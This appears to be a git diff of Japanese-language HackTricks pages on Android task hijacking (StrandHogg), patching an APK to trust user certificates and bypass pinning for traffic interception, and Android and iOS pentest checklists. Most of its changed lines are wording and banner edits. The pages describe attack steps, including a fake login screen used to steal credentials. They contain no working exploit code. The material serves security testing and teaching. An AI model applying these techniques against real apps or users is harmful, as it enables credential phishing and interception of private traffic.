* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **Discordグループ**に**参加**💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## タスク、バックスタック、フォアグラウンドアクティビティ
|
||||
## タスク、バックスタック、およびフォアグラウンドアクティビティ
|
||||
|
||||
Android では、**タスク**は特定のジョブを完了するためにユーザーが対話するアクティビティのセットであり、**バックスタック**内に整理されます。このスタックはアクティビティを開いた順に並べ、最新のアクティビティが**フォアグラウンドアクティビティ**としてトップに表示されます。いつでも画面上にはこのアクティビティのみが表示され、これが**フォアグラウンドタスク**の一部となります。
|
||||
Androidでは、**タスク**は基本的に特定のジョブを完了するためにユーザーが対話するアクティビティのセットであり、**バックスタック**内に整理されます。このスタックはアクティビティを開いた順に並べ、最新のアクティビティが**フォアグラウンドアクティビティ**としてトップに表示されます。いつでも画面にはこのアクティビティだけが表示され、これが**フォアグラウンドタスク**の一部になります。
|
||||
|
||||
以下はアクティビティの遷移の簡単な説明です:
|
||||
以下はアクティビティの遷移の簡単な説明です:
|
||||
|
||||
* **アクティビティ1** は最初にフォアグラウンドで開始します。
|
||||
* **アクティビティ2** を起動すると、**アクティビティ1** がバックスタックに移動し、**アクティビティ2** がフォアグラウンドに表示されます。
|
||||
* **アクティビティ3** を開始すると、**アクティビティ1** と **アクティビティ2** がスタック内でさらに後ろに移動し、**アクティビティ3** が前面に表示されます。
|
||||
* **アクティビティ3** を閉じると、**アクティビティ2** が再びフォアグラウンドに表示され、Android のスムーズなタスクナビゲーションメカニズムが示されます。
|
||||
- **アクティビティ1**は最初にフォアグラウンドで単独で開始します。
|
||||
- **アクティビティ2**を起動すると、**アクティビティ1**がバックスタックにプッシュされ、**アクティビティ2**がフォアグラウンドに表示されます。
|
||||
- **アクティビティ3**を開始すると、**アクティビティ1**と**アクティビティ2**がスタック内でさらに後ろに移動し、**アクティビティ3**が前面に表示されます。
|
||||
- **アクティビティ3**を閉じると、**アクティビティ2**が再びフォアグラウンドに表示され、Androidのスムーズなタスクナビゲーションメカニズムが示されます。
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
|
||||
|
||||
|
@ -39,47 +39,47 @@ Android では、**タスク**は特定のジョブを完了するためにユ
|
|||
|
||||
### タスクアフィニティと起動モードの概要
|
||||
|
||||
Android アプリケーションでは、**タスクアフィニティ**はアクティビティの優先タスクを指定し、通常はアプリのパッケージ名と一致します。このセットアップは、攻撃をデモンストレーションするための PoC アプリを作成する際に重要です。
|
||||
Androidアプリケーションでは、**タスクアフィニティ**はアクティビティの優先タスクを指定し、通常はアプリのパッケージ名と一致します。このセットアップは、攻撃をデモンストレーションするためのPoCアプリを作成する際に重要です。
|
||||
|
||||
### 起動モード
|
||||
|
||||
`launchMode` 属性は、タスク内のアクティビティインスタンスの処理を指示します。この攻撃には重要な**singleTask**モードがあり、既存のアクティビティインスタンスとタスクアフィニティの一致に基づいて3つのシナリオを指示します。攻撃は、攻撃者のアプリがターゲットアプリのタスクアフィニティを模倣し、Android システムを誤解させて意図したターゲットアプリの代わりに攻撃者のアプリを起動する能力に依存しています。
|
||||
`launchMode`属性は、タスク内のアクティビティインスタンスの処理を指示します。この攻撃には重要な**singleTask**モードがあり、既存のアクティビティインスタンスとタスクアフィニティの一致に基づいて3つのシナリオを指示します。攻撃は、攻撃者のアプリがターゲットアプリのタスクアフィニティを模倣し、Androidシステムを誤解させて意図したターゲットアプリの代わりに攻撃者のアプリを起動する能力に依存しています。
|
||||
|
||||
### 詳細な攻撃手順
|
||||
|
||||
1. **悪意のあるアプリのインストール**: 被害者が自分のデバイスに攻撃者のアプリをインストールします。
|
||||
2. **初期起動**: 被害者は最初に悪意のあるアプリを開き、攻撃の準備をします。
|
||||
3. **ターゲットアプリの起動試行**: 被害者はターゲットアプリを開こうとします。
|
||||
4. **ハイジャックの実行**: タスクアフィニティが一致するため、ターゲットアプリの代わりに悪意のあるアプリが起動します。
|
||||
5. **欺瞞**: 悪意のあるアプリは、ターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。
|
||||
1. **悪意のあるアプリのインストール**:被害者が自分のデバイスに攻撃者のアプリをインストールします。
|
||||
2. **初期アクティベーション**:被害者は最初に悪意のあるアプリを開き、攻撃のためにデバイスをセットアップします。
|
||||
3. **ターゲットアプリの起動試行**:被害者はターゲットアプリを開こうとします。
|
||||
4. **ハイジャックの実行**:一致するタスクアフィニティのため、ターゲットアプリの代わりに悪意のあるアプリが起動されます。
|
||||
5. **欺瞞**:悪意のあるアプリは、ターゲットアプリに似た偽のログイン画面を表示し、ユーザーを機密情報を入力させるようにだまします。
|
||||
|
||||
この攻撃の実践的な実装については、GitHub の Task Hijacking Strandhogg リポジトリを参照してください: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。
|
||||
この攻撃の実践的な実装については、GitHubのTask Hijacking Strandhoggリポジトリを参照してください:[Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。
|
||||
|
||||
### 防止策
|
||||
|
||||
このような攻撃を防ぐために、開発者は`taskAffinity`を空の文字列に設定し、`singleInstance`起動モードを選択することで、自分のアプリを他のアプリから分離することができます。`onBackPressed()` 関数をカスタマイズすることで、タスクハイジャッキングに対する追加の保護を提供できます。
|
||||
このような攻撃を防ぐために、開発者は`taskAffinity`を空の文字列に設定し、`singleInstance`起動モードを選択することで、自分のアプリを他のアプリから分離することができます。`onBackPressed()`関数をカスタマイズすることで、タスクハイジャックに対する追加の保護を提供できます。
|
||||
|
||||
## **参考文献**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝する**か**HackTricksをPDFでダウンロード**する場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **Discordグループ**に**参加**💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,7 +24,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
# Automatic
|
||||
|
||||
ツール [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) は、必要な変更をアプリケーションに自動的に行い、リクエストのキャプチャを開始し、証明書ピニングも無効にします(あれば)。
|
||||
ツール [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) は、リクエストをキャプチャし始めるために必要な変更をアプリケーションに自動的に行い、証明書ピンニングも無効にします(あれば)。
|
||||
|
||||
# Manual
|
||||
|
||||
|
@ -32,7 +32,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
次に、**Manifest.xml**ファイルに移動し、`<\application android>`タグまでスクロールして、次の行を追加します(まだ存在しない場合):
|
||||
次に、**Manifest.xml** ファイルに移動し、`<\application android>` タグまでスクロールして、次の行を追加します(すでに存在しない場合):
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -44,7 +44,7 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
次に、**res/xml**フォルダに移動し、次の内容で network\_security\_config.xml というファイルを作成/変更します:
|
||||
次に、**res/xml** フォルダに移動し、次の内容で network\_security\_config.xml というファイルを作成/変更します:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -67,18 +67,18 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学びましょう</strong>!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学びましょう</strong>!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -39,9 +39,9 @@
|
|||
### [静的解析](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用をチェックし、モバイルがルート化されているか、エミュレータが使用されているか、および防御チェックが行われているかを確認します。[詳細はこちら](android-app-pentesting/#other-checks)を参照してください。
|
||||
* [ ] 銀行アプリなどの**重要なアプリケーション**は、モバイルがルート化されているかどうかをチェックし、それに応じて動作する必要があります。
|
||||
* [ ] 銀行アプリなどの**重要なアプリケーション**は、モバイルがルート化されているかどうかをチェックし、適切に対応する必要があります。
|
||||
* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)(パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど)を検索します。
|
||||
* [ ] [Firebase](android-app-pentesting/#firebase)APIに特別な注意を払います。
|
||||
* [ ] [firebase ](android-app-pentesting/#firebase)APIに特別な注意を払います。
|
||||
* [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] アプリケーションがデバッグモードであるかどうかを確認し、それを「悪用」しようとします
|
||||
* [ ] APKがバックアップを許可しているかどうかを確認します
|
||||
|
@ -51,44 +51,44 @@
|
|||
* [ ] ブロードキャストレシーバー
|
||||
* [ ] URLスキーム
|
||||
* [ ] アプリケーションが内部または外部に**安全でないデータを保存**しているかどうかは?
|
||||
* [ ] パスワードがハードコードされているか、ディスクに保存されているかは?アプリが**安全でない暗号化アルゴリズム**を使用しているかは?
|
||||
* [ ] パスワードがハードコードされているか、ディスクに保存されているかは?アプリが**安全でない暗号アルゴリズム**を使用しているかは?
|
||||
* [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか?
|
||||
* [ ] このフェーズ中に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
|
||||
* [ ] このフェーズ中に非常に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
|
||||
|
||||
### [動的解析](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるかどうかを確認します(ログ記録、コピー/貼り付け、クラッシュログ)。
|
||||
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)があるかどうかを確認します(ログ記録、コピー/貼り付け、クラッシュログ)?
|
||||
* [ ] **SQLiteデータベースに保存されている機密情報**は?
|
||||
* [ ] **悪用可能な公開されたアクティビティ**は?
|
||||
* [ ] **悪用可能なコンテンツプロバイダー**は?
|
||||
* [ ] **悪用可能な公開されたサービス**は?
|
||||
* [ ] **悪用可能なブロードキャストレシーバー**は?
|
||||
* [ ] アプリケーションが情報を**平文で送信/弱いアルゴリズムを使用**しているかどうかは?MitMが可能ですか?
|
||||
* [ ] HTTP/HTTPSトラフィックを**検査**します(android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] **HTTP/HTTPSトラフィックを検査**します(android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWeb脆弱性を検索できます(HacktricksにはWeb脆弱性に関する多くの情報があります)。
|
||||
* [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)をチェックします(おそらくここでいくつかの静的コード分析が役立つでしょう)
|
||||
* [ ] [Frida](android-app-pentesting/#frida):Fridaだけを使用して、アプリケーションから興味深い動的データを取得します(おそらくいくつかのパスワード...)
|
||||
|
||||
### 一部の難読化/難読化情報
|
||||
### 難読化/難読化情報
|
||||
|
||||
* [ ] [こちらを読んでください](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,28 +3,28 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを入手
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出**してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -34,76 +34,76 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* [ ] [**iOS Basics**](ios-pentesting/ios-basics.md)を読む
|
||||
* [ ] [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)を読んで環境を準備する
|
||||
* [ ] [**iOS Initial Analysis**](ios-pentesting/#initial-analysis)のすべてのセクションを読んで、iOSアプリをペンテストするための一般的なアクションを学ぶ
|
||||
* [ ] [**iOS Initial Analysis**](ios-pentesting/#initial-analysis)のすべてのセクションを読んで、iOSアプリケーションのペンテストに一般的なアクションを学ぶ
|
||||
|
||||
### データストレージ
|
||||
|
||||
* [ ] [**Plistファイル**](ios-pentesting/#plist)には機密情報を保存することができます。
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存できます。
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存できます。
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data)(SQLiteデータベース)には機密情報を保存することができます。
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)(SQLiteデータベース)には機密情報を保存することができます。
|
||||
